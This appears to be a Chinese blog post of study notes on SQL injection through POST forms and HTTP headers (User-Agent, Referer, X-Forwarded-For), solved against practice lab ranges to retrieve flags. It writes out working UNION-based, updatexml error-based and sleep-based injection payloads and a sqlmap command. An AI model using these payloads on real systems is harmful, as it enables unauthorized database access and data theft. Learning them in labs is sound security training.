POST注入/HEAD注入(学习笔记)

POST注入就是使用POST进行传参的注入,本质上和GET类型没有什么区别
POST注入高危点:
登录框
查询框
等各种和数据库有交互的框

post注入靶场
在这里插入图片描述使用万能密码成功登录,存在sql注入
在这里插入图片描述
首先查看字段
在这里插入图片描述字段数为3
在这里插入图片描述查看输出点

") union select 1,2,3 #

输出点在2,3
在这里插入图片描述接下来跟显错注入一样通过系统自带库查询flag
查询表

") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

查询字段

") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag' #

查询内容

") union select 1,2,group_concat(flag) from flag #

拿到flag
在这里插入图片描述使用sqlmap做post注入
抓取一个登录的数据包,保存到sqlmap目录上,命名为1.txt
使用命令python sqlmap.py -r 1.txt

HEAD注入
HEAD注入,就是改变请求头部来达到注入的目的,head注入没有回显,需要用到一个函数

updetexml()

updatexml(1,concat(0x7e,(select database()),0x7e),1)
实际上这里就是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后因为不符合输入规则就报错了,但是报错的时候它其实已经执行了那个子查询
0x7e是一个~符号,就是为了报错而存在。

head注入靶场
在这里插入图片描述
查看源码,过滤了一些符号。
在这里插入图片描述这里虽然过滤了一些字符,但不够严谨还是存在post注入,这里假设不存在post注入。这里我们可以通过uagent进行注入

head注入一般都是登录成功后才能够利用的

查看这一段代码,可以在uagent进行注入
Insql = “INSERT INTO uagent (uagent,username) VALUES (’$ uagent’,’$uname’)”;

在uagent里加单引号将前面闭合,后面要加个1把后面被注释掉的uname字段补上
nsql = “INSERT INTO uagent (uagent,username) VALUES (’ ’ or sleep(5),1)# $uname’)”;

可以通过插件进行注入
在这里插入图片描述这时候输入正确的账号密码登录页面开始延时5秒,证明存在sql注入
在这里插入图片描述也可以进行抓包改请求头
在这里插入图片描述使用updatexml爆出数据名

' or updatexml (1,concat(0x7e,(select database())),1),1) #

在这里插入图片描述爆出了head_error
在这里插入图片描述接下来就可以通过系统自带库查询,表名,字段名

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='head_error' limit 0,1)),1),1) #

在这里插入图片描述
查询字段

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='flag_head' limit 0,1)),1),1) #

在这里插入图片描述
查询字段内容,拿到flag

' or updatexml(888,concat(0x7e,(select group_concat(flag_h1) from flag_head)),1),1) #

在这里插入图片描述靶场第二题
在Referer将进行注入,referer是告诉服务器该页面是从哪个页面进行连接过来的,服务器因此可以获取到一些信息进行处理
在这里插入图片描述
在这里插入图片描述靶场第三题
查看源码,发现使用了X-forwarded-For,这是用来识别通过代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
这里的getip明显没有任何过滤,如果被传入的数据被拼接进SQL语句就会发生SQL注入

在这里插入图片描述在这里插入图片描述做法都一样,通过插件修改头名字,或者抓取数据包,加一个X-forwarded-For
在这里插入图片描述

发布了14 篇原创文章 · 获赞 0 · 访问量 127

猜你喜欢

转载自blog.csdn.net/weixin_45291045/article/details/105259061
今日推荐